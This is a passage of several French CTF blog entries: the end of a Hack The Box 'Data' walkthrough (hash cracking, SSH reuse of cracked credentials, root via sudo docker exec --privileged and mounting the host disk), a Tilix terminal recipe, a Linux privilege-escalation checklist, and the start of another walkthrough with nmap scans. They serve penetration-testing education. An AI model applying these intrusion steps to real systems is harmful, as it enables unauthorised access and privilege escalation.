139921507 * Keyspace..: 14344385 * Runtime...: 0 secs Cracking performance lower than expected? * Append -w 3 to the commandline. This can cause your screen to lag. * Append -S to the commandline. This has a drastic speed impact but can be better for specific attacks. Typical scenarios are a small wordlist but a large ruleset. * Update your backend API runtime / driver the right way: https://hashcat.net/faq/wrongdriver * Create more work items to make use of your parallelization power: https://hashcat.net/faq/morework [s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =\u0026gt; q Session..........: hashcat Status...........: Quit Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256) Hash.Target......: hashcat_hashes.txt Time.Started.....: Mon Jan 26 16:40:43 2026 (2 mins, 5 secs) Time.Estimated...: Mon Jan 26 17:28:49 2026 (46 mins, 1 sec) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 4970 H/s (14.94ms) @ Accel:177 Loops:1000 Thr:1 Vec:8 Recovered........: 1/2 (50.00%) Digests (total), 0/2 (0.00%) Digests (new), 1/2 (50.00%) Salts Progress.........: 1237584/28688770 (4.31%) Rejected.........: 0/1237584 (0.00%) Restore.Point....: 618792/14344385 (4.31%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:5000-6000 Candidate.Engine.: Device Generator Candidates.#01...: maxie92 -\u0026gt; maryland22 Hardware.Mon.#01.: Util: 89% Started: Mon Jan 26 16:40:19 2026 Stopped: Mon Jan 26 16:42:50 2026 Affiche les mots de passe trouvés : hashcat -m 10900 hashcat_hashes.txt --show sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1 Et compare avec le fichier hashes_with_users.txt cat hashes_with_users.txt # user: admin sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg= # user: boris sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag= Ce qui te permet de dire que le mot de passe beautiful1 est associé à l\u0026rsquo;utilisateur Grafana boris. Connexion SSH Tu peux réutiliser les identifiants boris:beautiful1 pour tenter une connexion SSH, une situation fréquente en CTF où les mots de passe sont souvent réutilisés entre l’application web et le système. Réflexe CTF : dès que tu récupères un mot de passe via une application web, teste-le en SSH si le service est ouvert. ssh boris@data.htb ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to \u0026#34;store now, decrypt later\u0026#34; attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html boris@data.htb\u0026#39;s password: Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1103-aws x86_64) [...] Last login: Wed Jun 4 13:37:31 2025 from 10.10.x.x boris@data:~$ Une fois connecté en SSH, commence par vérifier ton contexte avec les commandes classiques : whoami boris id uid=1001(boris) gid=1001(boris) groups=1001(boris) Tu peux ensuite lister le répertoire courant afin d’identifier rapidement l’environnement et les fichiers accessibles : ls -la total 36 drwxr-xr-x 5 boris boris 4096 Jun 4 2025 . drwxr-xr-x 3 root root 4096 Jun 4 2025 .. lrwxrwxrwx 1 boris boris 9 Jan 23 2022 .bash_history -\u0026gt; /dev/null -rw-r--r-- 1 boris boris 220 Jan 23 2022 .bash_logout -rw-r--r-- 1 boris boris 3771 Jan 23 2022 .bashrc drwx------ 2 boris boris 4096 Jan 23 2022 .cache drwx------ 3 boris boris 4096 Jan 23 2022 .gnupg drwxrwxr-x 3 boris boris 4096 Jan 23 2022 .local -rw-r--r-- 1 boris boris 807 Jan 23 2022 .profile -rw-r----- 1 boris boris 33 Jan 27 08:33 user.txt boris@data:~$ user.txt cat user.txt ad3cxxxxxxxxxxxxxxxxxxxxxxxx0613 Escalade de privilèges Une fois connecté en SSH en tant que boris, tu disposes d’un premier accès utilisateur sur la machine. L’escalade de privilèges consiste à identifier une commande, un script ou un service exécuté par root que l’utilisateur courant peut influencer pour obtenir une session root. Comme dans tous mes writeups, et conformément à la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » , l’escalade de privilèges commence par une phase d’énumération méthodique : vérification des droits sudo avec sudo -l afin d’identifier des commandes exécutables avec les privilèges root recherche de binaires SUID avec find / -perm -4000 2\u0026gt;/dev/null (les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souvent root) analyse des Linux capabilities avec getcap -r / 2\u0026gt;/dev/null python3 suid3num.py afin d’identifier des binaires disposant de privilèges élevés, puis vérification de leur exploitabilité sur GTFOBins inspection des tâches cron avec cat /etc/crontab afin de repérer d’éventuels scripts ou commandes exécutés automatiquement par root analyse des services locaux avec netstat -tulpn pour identifier d’éventuels services internes accessibles uniquement en local observation des processus exécutés par root avec pspy64 (dans une deuxième session SSH) afin de détecter des scripts ou tâches planifiées lancés automatiquement L’objectif de cette approche n’est pas de tester des exploits au hasard, mais d’identifier une faiblesse logique ou une mauvaise configuration exploitable pour progresser vers root. Si ces vérifications manuelles ne révèlent rien d’exploitable, tu peux alors passer à une énumération automatisée avec linpeas.sh. Cet outil effectue une analyse beaucoup plus exhaustive du système. Il est plus complet, mais aussi plus lourd, et produit souvent beaucoup d’informations qu’il faudra ensuite trier et analyser. Sudo -l Tu commences toujours par vérifier les droits sudo : sudo -l Matching Defaults entries for boris on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User boris may run the following commands on localhost: (root) NOPASSWD: /snap/bin/docker exec * Ce droit permet d’exécuter la commande docker exec avec les privilèges root, sans mot de passe. Dans un contexte Docker, cela peut ouvrir une voie directe vers une escalade de privilèges. Identification du conteneur actif Tu cherches maintenant à identifier les conteneurs Docker actifs sur la machine afin de déterminer lequel peut être exploité pour l’escalade de privilèges. L’accès à la commande docker ps n’étant pas autorisé, tu peux identifier les conteneurs Docker actifs directement au niveau des processus système : ps aux | grep -i docker | grep -v grep root 1015 0.0 4.0 1496232 81368 ? Ssl 10:51 0:05 dockerd --group docker --exec-root=/run/snap.docker --data-root=/var/snap/docker/common/var-lib-docker --pidfile=/run/snap.docker/docker.pid --config-file=/var/snap/docker/1125/config/daemon.json root 1250 0.1 2.1 1351056 44408 ? Ssl 10:51 0:20 containerd --config /run/snap.docker/containerd/containerd.toml --log-level error root 1514 0.0 0.1 1152456 3256 ? Sl 10:52 0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 3000 -container-ip 172.17.0.2 -container-port 3000 root 1521 0.0 0.1 1078724 3344 ? Sl 10:52 0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip :: -host-port 3000 -container-ip 172.17.0.2 -container-port 3000 root 1535 0.0 0.4 713120 8592 ? Sl 10:52 0:00 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 -address /run/snap.docker/containerd/containerd.sock 472 1557 0.1 3.0 776036 62732 ? Ssl 10:52 0:14 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning root 2917 0.0 0.2 63972 4280 pts/0 S+ 10:57 0:00 sudo /snap/bin/docker exec --privileged -u 0 -it e6ff5b1cbc85 sh root 2918 0.0 2.4 1289608 50260 pts/0 Sl+ 10:57 0:02 /snap/docker/1125/bin/docker exec --privileged -u 0 -it e6ff5b1cbc85 sh En listant les processus liés à Docker, tu identifies un processus containerd-shim-runc-v2. Cela indique qu’un conteneur Docker est actif et fournit son identifiant via l’option -id. Les 12 premiers caractères de cet identifiant (e6ff5b1cbc85) suffisent ensuite pour cibler le conteneur et exécuter des commandes avec docker exec. Shell root via Docker L’aide de docker exec indique que les options --privileged et --user root permettent d’exécuter une commande dans le conteneur avec des droits étendus. Dans ce contexte, la commande exécutée sera sh afin d’obtenir un shell root. Une fois ce shell root obtenu, tu disposeras des privilèges nécessaires pour effectuer des opérations système sensibles, comme le montage de partitions, ce qui permettra de monter la partition du système hôte directement dans le conteneur. sudo /snap/bin/docker exec --privileged -u 0 -it e6ff5b1cbc85 sh Tu confirmes ensuite le contexte d’exécution : id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) Identification des partitions du système hôte Une fois le shell root obtenu à l’intérieur du conteneur, tu peux identifier les périphériques de stockage exposés par l’hôte. La consultation du fichier /proc/partitions permet de lister les disques et partitions disponibles : cat /proc/partitions major minor #blocks name 7 0 56820 loop0 7 1 119340 loop1 7 2 25576 loop2 7 3 43184 loop3 8 0 6291456 sda 8 1 5242880 sda1 8 2 1047552 sda2 La sortie met en évidence la présence du disque principal sda, ainsi que de ses partitions, dont sda1, qui correspond à la partition système de l’hôte. Pour confirmer leur présence au niveau des périphériques, tu peux également vérifier le contenu du répertoire /dev : ls /dev | grep sda sda sda1 sda2 Montage de la partition système de l’hôte Avec ces privilèges, tu peux créer un point de montage dans le conteneur et y monter directement la partition système de l’hôte : mkdir -p /mnt/host mount /dev/sda1 /mnt/host Cette opération permet d’accéder au système de fichiers complet de la machine hôte depuis le conteneur : ls -la /mnt/host total 112 drwxr-xr-x 23 root root 4096 Jun 4 2025 . drwxr-xr-x 1 root root 4096 Jan 27 10:58 .. drwxr-xr-x 2 root root 4096 Apr 9 2025 bin drwxr-xr-x 3 root root 4096 Jun 4 2025 boot drwxr-xr-x 4 root root 4096 Nov 29 2021 dev drwxr-xr-x 94 root root 4096 Jun 4 2025 etc drwxr-xr-x 3 root root 4096 Jun 4 2025 home lrwxrwxrwx 1 root root 30 Apr 9 2025 initrd.img -\u0026gt; boot/initrd.img-5.4.0-1103-aws lrwxrwxrwx 1 root root 30 Jun 4 2025 initrd.img.old -\u0026gt; boot/initrd.img-5.4.0-1103-aws drwxr-xr-x 19 root root 4096 Apr 10 2025 lib drwxr-xr-x 2 root root 4096 Apr 9 2025 lib64 drwx------ 2 root root 16384 Nov 29 2021 lost+found drwxr-xr-x 2 root root 4096 Nov 29 2021 media drwxr-xr-x 2 root root 4096 Nov 29 2021 mnt drwxr-xr-x 2 root root 4096 Nov 29 2021 opt drwxr-xr-x 2 root root 4096 Apr 24 2018 proc drwx------ 7 root root 4096 Jan 27 10:52 root drwxr-xr-x 5 root root 4096 Nov 29 2021 run drwxr-xr-x 2 root root 12288 Jun 4 2025 sbin drwxr-xr-x 7 root root 4096 Jan 23 2022 snap drwxr-xr-x 2 root root 4096 Nov 29 2021 srv drwxr-xr-x 2 root root 4096 Apr 24 2018 sys drwxrwxrwt 11 root root 4096 Jan 27 15:34 tmp drwxr-xr-x 10 root root 4096 Apr 9 2025 usr drwxr-xr-x 13 root root 4096 Nov 29 2021 var lrwxrwxrwx 1 root root 27 Apr 9 2025 vmlinuz -\u0026gt; boot/vmlinuz-5.4.0-1103-aws lrwxrwxrwx 1 root root 27 Jun 4 2025 vmlinuz.old -\u0026gt; boot/vmlinuz-5.4.0-1103-aws root.txt Une fois la partition montée, le contenu du système hôte devient accessible. Tu peux notamment explorer le répertoire /root de l’hôte : ls -l /mnt/host/root total 8 -rw-r----- 1 root root 33 Jan 27 10:52 root.txt drwxr-xr-x 4 root root 4096 Jan 23 2022 snap Le fichier root.txt est alors directement visible et peut être lu sans nécessiter de chroot : cat /mnt/host/root/root.txt de7fxxxxxxxxxxxxxxxxxxxxxxxx5a77 Cette étape confirme l’obtention d’un accès root complet sur la machine hôte via l’exploitation de Docker. Conclusion La machine data.htb illustre parfaitement un challenge Hack The Box Easy combinant exploitation web et mauvaise configuration Docker. Ce writeup te guide pas à pas depuis l’énumération initiale jusqu’à l’exploitation de Grafana (CVE-2021-43798) par path traversal. La base grafana.db est ensuite récupérée, les hashes sont craqués hors ligne, puis les identifiants sont réutilisés en SSH. L’escalade de privilèges repose ensuite sur une mauvaise configuration de Docker, permettant via sudo docker exec d’obtenir un shell root dans un conteneur et de monter la partition du système hôte, conduisant à un accès root complet. Si tu rencontres d’autres machines utilisant Grafana ou des applications conteneurisées, garde ce réflexe : un service web vulnérable combiné à un accès Docker mal configuré peut suffire à compromettre entièrement le système. En résumé Writeup data.htb (HTB Easy) axé sur l’exploitation de Grafana (CVE-2021-43798) : path traversal, extraction de grafana.db, crack des hashes, réutilisation des identifiants en SSH, puis escalade root via Docker (sudo docker exec et montage du disque hôte). Une méthodologie simple et reproductible montrant comment un service web vulnérable, associé à une mauvaise configuration Docker, peut mener à un accès root complet. i Feedback \u0026amp; corrections Tu as repéré une erreur, une imprécision ou une amélioration possible ? N’hésite pas à me le signaler. ","date":"2026-03-16T17:25:00+01:00","lastmod":"2026-03-18T18:20:00+01:00","permalink":"https://writeups.hackethical.be/writeups/data/","summary":"Data (HTB Easy) : exploitation de Grafana (CVE-2021-43798), récupération d’identifiants et escalade root via Docker.","tags":["HTB Easy","grafana","cve-2021-43798","docker"],"title":"Data — HTB Easy Writeup \u0026 Walkthrough"},{"categories":["Mes recettes"],"content":"Objectif Tilix est un émulateur de terminal moderne pour Linux, conçu pour travailler efficacement avec plusieurs terminaux dans une même fenêtre. Cette recette explique comment démarrer un workspace Tilix à 4 fenêtres via un raccourci sur le bureau, lequel lance Tilix directement avec une session prédéfinie à 4 terminaux, qui te donne un environnement de travail prêt à l’emploi pour la résolution de challenges CTF sous Kali Linux. Prérequis Vérifier que Tilix est installé Dans un terminal : tilix --version Si Tilix n’est pas installé : sudo apt update sudo apt install tilix Étapes Créer le répertoire de configuration Tilix Tilix stocke les sessions utilisateur dans un répertoire dédié. Commence par le créer s’il n’existe pas : mkdir -p ~/.config/tilix/sessions Ce répertoire contiendra le fichier de session définissant le workspace à 4 fenêtres. Créer le fichier de session tilix4.json Crée ensuite le fichier de configuration de la session : nano ~/.config/tilix/sessions/tilix4.json Copie et colle le contenu suivant : { \u0026#34;child\u0026#34;: { \u0026#34;child1\u0026#34;: { \u0026#34;child1\u0026#34;: { \u0026#34;directory\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;height\u0026#34;: 230, \u0026#34;profile\u0026#34;: \u0026#34;2b7c4080-0ddd-46c5-8f23-563fd3ba789d\u0026#34;, \u0026#34;readOnly\u0026#34;: false, \u0026#34;synchronizedInput\u0026#34;: true, \u0026#34;type\u0026#34;: \u0026#34;Terminal\u0026#34;, \u0026#34;uuid\u0026#34;: \u0026#34;04ee3a6e-4b55-47f5-a986-fd7934b6cb54\u0026#34;, \u0026#34;width\u0026#34;: 321 }, \u0026#34;child2\u0026#34;: { \u0026#34;directory\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;height\u0026#34;: 230, \u0026#34;profile\u0026#34;: \u0026#34;2b7c4080-0ddd-46c5-8f23-563fd3ba789d\u0026#34;, \u0026#34;readOnly\u0026#34;: false, \u0026#34;synchronizedInput\u0026#34;: true, \u0026#34;type\u0026#34;: \u0026#34;Terminal\u0026#34;, \u0026#34;uuid\u0026#34;: \u0026#34;4db11159-7e7a-4566-b714-e86609a4b284\u0026#34;, \u0026#34;width\u0026#34;: 321 }, \u0026#34;orientation\u0026#34;: 1, \u0026#34;position\u0026#34;: 49, \u0026#34;ratio\u0026#34;: 0.498915401301518457, \u0026#34;type\u0026#34;: \u0026#34;Paned\u0026#34; }, \u0026#34;child2\u0026#34;: { \u0026#34;child1\u0026#34;: { \u0026#34;directory\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;height\u0026#34;: 230, \u0026#34;profile\u0026#34;: \u0026#34;2b7c4080-0ddd-46c5-8f23-563fd3ba789d\u0026#34;, \u0026#34;readOnly\u0026#34;: false, \u0026#34;synchronizedInput\u0026#34;: true, \u0026#34;type\u0026#34;: \u0026#34;Terminal\u0026#34;, \u0026#34;uuid\u0026#34;: \u0026#34;b4e2d695-ce72-49af-a422-c40288582008\u0026#34;, \u0026#34;width\u0026#34;: 320 }, \u0026#34;child2\u0026#34;: { \u0026#34;directory\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;height\u0026#34;: 230, \u0026#34;profile\u0026#34;: \u0026#34;2b7c4080-0ddd-46c5-8f23-563fd3ba789d\u0026#34;, \u0026#34;readOnly\u0026#34;: false, \u0026#34;synchronizedInput\u0026#34;: true, \u0026#34;type\u0026#34;: \u0026#34;Terminal\u0026#34;, \u0026#34;uuid\u0026#34;: \u0026#34;165e50a1-4d15-4675-8481-eaf9881c7d39\u0026#34;, \u0026#34;width\u0026#34;: 320 }, \u0026#34;orientation\u0026#34;: 1, \u0026#34;position\u0026#34;: 49, \u0026#34;ratio\u0026#34;: 0.498915401301518457, \u0026#34;type\u0026#34;: \u0026#34;Paned\u0026#34; }, \u0026#34;orientation\u0026#34;: 0, \u0026#34;position\u0026#34;: 50, \u0026#34;ratio\u0026#34;: 0.5, \u0026#34;type\u0026#34;: \u0026#34;Paned\u0026#34; }, \u0026#34;height\u0026#34;: 461, \u0026#34;name\u0026#34;: \u0026#34;Session\u0026#34;, \u0026#34;synchronizedInput\u0026#34;: false, \u0026#34;type\u0026#34;: \u0026#34;Session\u0026#34;, \u0026#34;uuid\u0026#34;: \u0026#34;3505e43f-6c40-469c-ae33-16e4dfbbab62\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;1.0\u0026#34;, \u0026#34;width\u0026#34;: 642 } Tester la session Tilix en ligne de commande Avant d’aller plus loin, vérifie que la session est valide. Dans un terminal : tilix --session=~/.config/tilix/sessions/tilix4.json Si tout est correct : Tilix s’ouvre avec 4 fenêtres prédéfinies Aucune erreur n’est affichée Ferme ensuite Tilix avant de passer à l’étape suivante. Créer le raccourci bureau pour lancer le workspace L’objectif est maintenant de lancer ce workspace en un clic, avec un répertoire de travail adapté. Crée un fichier de raccourci sur le bureau : nano ~/Bureau/Tilix-CTF.desktop ou, si ton système est en anglais : nano ~/Desktop/Tilix-CTF.desktop Ajoute le contenu suivant (en adaptant le répertoire de démarrage si nécessaire) : [Desktop Entry] Type=Application Name=Tilix – Workspace CTF (4 fenêtres) Comment=Lancer Tilix avec une session 4 fenêtres prédéfinie Exec=bash -c \u0026#39;cd ~/HTB \u0026amp;\u0026amp; tilix --session=~/.config/tilix/sessions/tilix4.json\u0026#39; Terminal=false Icon=tilix Categories=Utility;TerminalEmulator; Rends le raccourci exécutable : chmod +x ~/Bureau/Tilix-CTF.desktop ou, si ton système est en anglais : chmod +x ~/Desktop/Tilix-CTF.desktop Tester le raccourci bureau Double-clique sur le raccourci Tilix – Workspace CTF (4 fenêtres) Tilix doit s’ouvrir : avec la session 4 fenêtres directement dans le répertoire ~/HTB/ Lors du premier double-clic sur le raccourci : une fenêtre s’ouvre indiquant que le fichier provient d’une source non fiable choisis Faire confiance et lancer (ou équivalent) Cette opération n\u0026rsquo;est à effectuer qu\u0026rsquo;une seule fois. Option — Activer le thème sombre dans Tilix Si Tilix ne s’ouvre pas en mode sombre, deux méthodes sont possibles. Via les menus Tilix Menu ☰ → Preferences Onglet Appearance Activer le thème sombre (Dark) Via la ligne de commande Tu peux aussi forcer le thème sombre globalement avec : settings set com.gexperts.Tilix.Settings theme-variant \u0026#39;dark\u0026#39; ​ Le changement est immédiat au prochain lancement de Tilix. ","date":"2026-01-18T16:10:20+01:00","lastmod":"2026-02-22T18:35:10+01:00","permalink":"https://writeups.hackethical.be/recettes/mon-tilix-4-fenetres/","summary":"Objectif Tilix est un émulateur de terminal moderne pour Linux, conçu pour travailler efficacement avec plusieurs terminaux dans une même fenêtre.\nCette recette explique comment démarrer un workspace Tilix à 4 fenêtres via un raccourci sur le bureau, lequel lance Tilix directement avec une session prédéfinie à 4 terminaux, qui te donne un environnement de travail prêt à l’emploi pour la résolution de challenges CTF sous Kali Linux.\n","tags":["recettes","tools","tilix","kali","terminal"],"title":"Tilix : configurer un workspace CTF à 4 fenêtres sous Kali Linux"},{"categories":["Mes recettes"],"content":"Objectif Identifier méthodiquement les possibilités d’escalade de privilèges. Ne rater aucune piste classique (sudo, SUID, cron, services). Comprendre pourquoi une élévation est possible avant de tenter une exploitation. Prérequis Un accès shell sur une machine Linux (CTF / HTB). La possibilité de transférer ou d’exécuter des outils d’énumération locaux. Un compte utilisateur non-root. Préparation des outils d’énumération Avant de lancer l’analyse, installe les outils nécessaires sur ta machine Kali et transfère-les vers la cible. Outils recommandés : suid3num.py linpeas.sh pspy64 les.sh Avec l\u0026rsquo;aide de la recette « Copier des fichiers depuis et vers Kali Linux » , transfère-les vers : /dev/shm (mémoire volatile, souvent discret) /tmp Pourquoi /dev/shm ou /tmp ? Écriture autorisée pour l’utilisateur Nettoyage automatique au reboot Moins intrusif que /home Standard en CTF Une fois sur la machine cible, rends-les exécutables : cd /dev/shm chmod +x linpeas.sh chmod +x pspy64 chmod +x les.sh Méthode structurée L’ordre est intentionnel : commence par les vecteurs simples avant les outils lourds. Contexte utilisateur Commence toujours par comprendre où tu te trouves. whoami id pwd uname -a hostname À analyser : Ton utilisateur Les groupes La version du noyau Indices de containerisation Architecture (utile pour les binaires 32/64 bits) Vérification sudo sudo -l Points clés : NOPASSWD Commandes exécutables en root Binaires custom Scripts modifiables Variables d’environnement autorisées Si une commande exploitable apparaît ici, c’est prioritaire. Permissions spéciales (Capabilities \u0026amp; SUID) Capabilities getcap -r / 2\u0026gt;/dev/null Cherche : cap_setuid cap_setgid cap_sys_admin Tout binaire inattendu SUID avec suid3num.py python3 suid3num.py Ou : find / -perm -4000 -type f 2\u0026gt;/dev/null Analyse : Binaires inhabituels Scripts root modifiables PATH hijacking possible Pour chaque binaire suspect, vérifie sur GTFOBins. Astuce CTF Après l’exécution de getcap -r / 2\u0026gt;/dev/null ou/et de suid3num.py, consulte GTFOBins pour chaque binaire suspect afin de vérifier s’il existe une technique d’exploitation connue. Services locaux Avant de lancer un outil automatique, vérifie les services internes. Avec ss (recommandé) ss -tulnp Alternative netstat -tulnp À analyser attentivement Services écoutant uniquement sur 127.0.0.1 Ports inhabituels (3000, 5000, 8000, 8080, 9000…) Processus exécutés avec les privilèges root Bases de données locales Interfaces web internes L’objectif est d’identifier un service exposé uniquement en local, pouvant constituer un point d’entrée secondaire. Pourquoi c’est intéressant ? Un service local peut : Être accessible via un SSH port forwarding Contenir une vulnérabilité exploitable Fonctionner en mode debug Être mal configuré Exécuter du code avec des privilèges élevés Exemple de port forwarding SSH Si un service écoute sur 127.0.0.1:8080, tu peux le rendre accessible depuis ta machine Kali : ssh -L 8080:127.0.0.1:8080 user@target Tu pourras ensuite y accéder via : http://localhost:8080 Linpeas - Enumération approfondie ./linpeas.sh Linpeas permet d’effectuer une analyse locale complète du système et de mettre en évidence les pistes d’escalade potentielles : Mauvaises permissions Fichiers sensibles accessibles en lecture Services internes SUID suspects Capabilities Tâches cron Variables d’environnement Mauvaises configurations sudo Indices de containerisation Vulnérabilités kernel potentielles Utilise linpeas comme un outil de corrélation, pas comme une solution automatique. Linpeas ne “donne” pas l’escalade : il met en lumière des anomalies qu’il faut ensuite analyser manuellement. Comment exploiter intelligemment la sortie Ne lis pas tout d’un bloc. Procède méthodiquement : Repère les sections en rouge ou en jaune. Compare avec ce que tu as déjà identifié (sudo, SUID, services locaux). Vérifie les chemins modifiables. Analyse les fichiers appartenant à root mais accessibles. Cherche une incohérence exploitable. Si linpeas révèle quelque chose que tu avais déjà vu, cela renforce ta piste. S’il révèle quelque chose de nouveau, prends le temps de comprendre le mécanisme avant toute tentative. Bonnes pratiques CTF Lance linpeas après les vérifications manuelles. Ne base jamais ton exploitation uniquement sur sa coloration. Supprime-le après utilisation si nécessaire. Observation en parallèle (recommandé) Ouvre une nouvelle session et lance pspy64 : ./pspy64 Utilité : Détecter des cron jobs Observer des scripts root Identifier des exécutions récurrentes Si système 32 bits : ./pspy32 Dernier recours : le kernel Quand toutes les pistes logiques ont été explorées, il reste une possibilité : le noyau. Examine la version du noyau : uname -a Puis teste avec les.sh pour identifier une vulnérabilité potentielle. Un exploit kernel doit rester un dernier recours, après avoir exploré toutes les pistes liées à la configuration du système. Avant toute tentative : Vérifie précisément la version du noyau Confirme la compatibilité de l’exploit Comprends le mécanisme d’élévation Une bonne privilege escalation privilégie toujours les erreurs de configuration avant les exploits noyau. Checklist rapide whoami / id / pwd / uname sudo -l getcap suid3num.py ss -tulnp linpeas.sh pspy64 en parallèle En dernier recours : analyser le kernel Philosophie Toujours comprendre avant d’exploiter. Croiser les résultats entre outils. Noter chaque anomalie pour le writeup. Privilégier les vecteurs simples avant les exploits kernel. Une bonne privilege escalation est structurée, reproductible et documentée. ","date":"2026-01-15T10:49:40+01:00","lastmod":"2026-02-22T23:02:19+01:00","permalink":"https://writeups.hackethical.be/recettes/privilege-escalation-linux/","summary":"Objectif Identifier méthodiquement les possibilités d’escalade de privilèges. Ne rater aucune piste classique (sudo, SUID, cron, services). Comprendre pourquoi une élévation est possible avant de tenter une exploitation. Prérequis Un accès shell sur une machine Linux (CTF / HTB). La possibilité de transférer ou d’exécuter des outils d’énumération locaux. Un compte utilisateur non-root. Préparation des outils d’énumération Avant de lancer l’analyse, installe les outils nécessaires sur ta machine Kali et transfère-les vers la cible.\n","tags":["recettes","tools","privilege-escalation"],"title":"Privilege Escalation Linux — Méthode structurée pour CTF et HTB"},{"categories":["Mes writeups"],"content":" Introduction Ce writeup te guide dans la résolution complète de la machine writeup.htb sur Hack The Box, depuis l’énumération initiale jusqu’à l’obtention des privilèges root. Lors de l’analyse du service web, tu identifies un site basé sur CMS Made Simple. Une vulnérabilité connue permet alors d’extraire des identifiants depuis la base de données et d’obtenir un premier accès utilisateur via SSH. L’escalade de privilèges repose ensuite sur l’observation du comportement du système : à la connexion, un script exécuté avec les privilèges root appelle run-parts sans chemin absolu. En détournant la variable d’environnement PATH, tu peux alors forcer l’exécution de ton propre script avec les privilèges root. La progression reste volontairement pédagogique afin de comprendre les mécanismes exploités, et pas seulement les commandes utilisées. Énumération Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète. C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables. Concrètement, l’objectif de cette phase d’énumération est d’identifier : quels ports sont ouverts quels services sont accessibles si une application web est présente quels répertoires sont exposés si des sous-domaines ou vhosts peuvent être exploités Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants : mon-nmap : identifie les ports ouverts et les services en écoute mon-recoweb : énumère les répertoires et fichiers accessibles via le service web mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts Tu retrouves ces outils dans la section Outils / Mes scripts. Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist. Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans : /usr/share/wordlists/htb-dns-vh-5000.txt Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box. Avant de lancer les scans, vérifie que le nom d’hôte writeup.htb résout correctement vers l’adresse IP de la cible. Sur HTB, cela passe généralement par une entrée dans /etc/hosts. Ajoute l’entrée 10.129.x.x writeup.htb dans /etc/hosts. sudo nano /etc/hosts Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés : mon-nmap writeup.htb # Résultats dans le répertoire scans_nmap/ # - scans_nmap/full_tcp_scan.txt # - scans_nmap/enum_ftp_smb_scan.txt # - scans_nmap/aggressive_vuln_scan.txt # - scans_nmap/cms_vuln_scan.txt # - scans_nmap/udp_vuln_scan.txt Scan initial Le scan TCP complet (scans_nmap/full_tcp_scan.txt) permet d’identifier les ports ouverts suivants : Note : les IP et les timestamps peuvent varier selon les resets HTB ; l\u0026rsquo;important ici est la surface exposée. # Nmap 7.98 scan initiated Wed Jan 14 14:08:09 2026 as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/full_tcp_scan.txt writeup.htb Nmap scan report for writeup.htb (10.129.x.x) Host is up (0.011s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http # Nmap done at Wed Jan 14 14:08:36 2026 -- 1 IP address (1 host up) scanned in 26.59 seconds Scan agressif Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités. Voici le résultat (scans_nmap/aggressive_vuln_scan.txt) : [+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour writeup.htb [+] Commande utilisée : nmap -Pn -A -sV -p\u0026#34;22,80\u0026#34; --script=\u0026#34;(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)\u0026#34; --script-timeout=30s -T4 \u0026#34;writeup.htb\u0026#34; # Nmap 7.98 scan initiated Wed Jan 14 14:08:36 2026 as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,80 \u0026#34;--script=(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)\u0026#34; --script-timeout=30s -T4 -oN scans_nmap/aggressive_vuln_scan_raw.txt writeup.htb Nmap scan report for writeup.htb (10.129.x.x) Host is up (0.016s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.25 ((Debian)) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 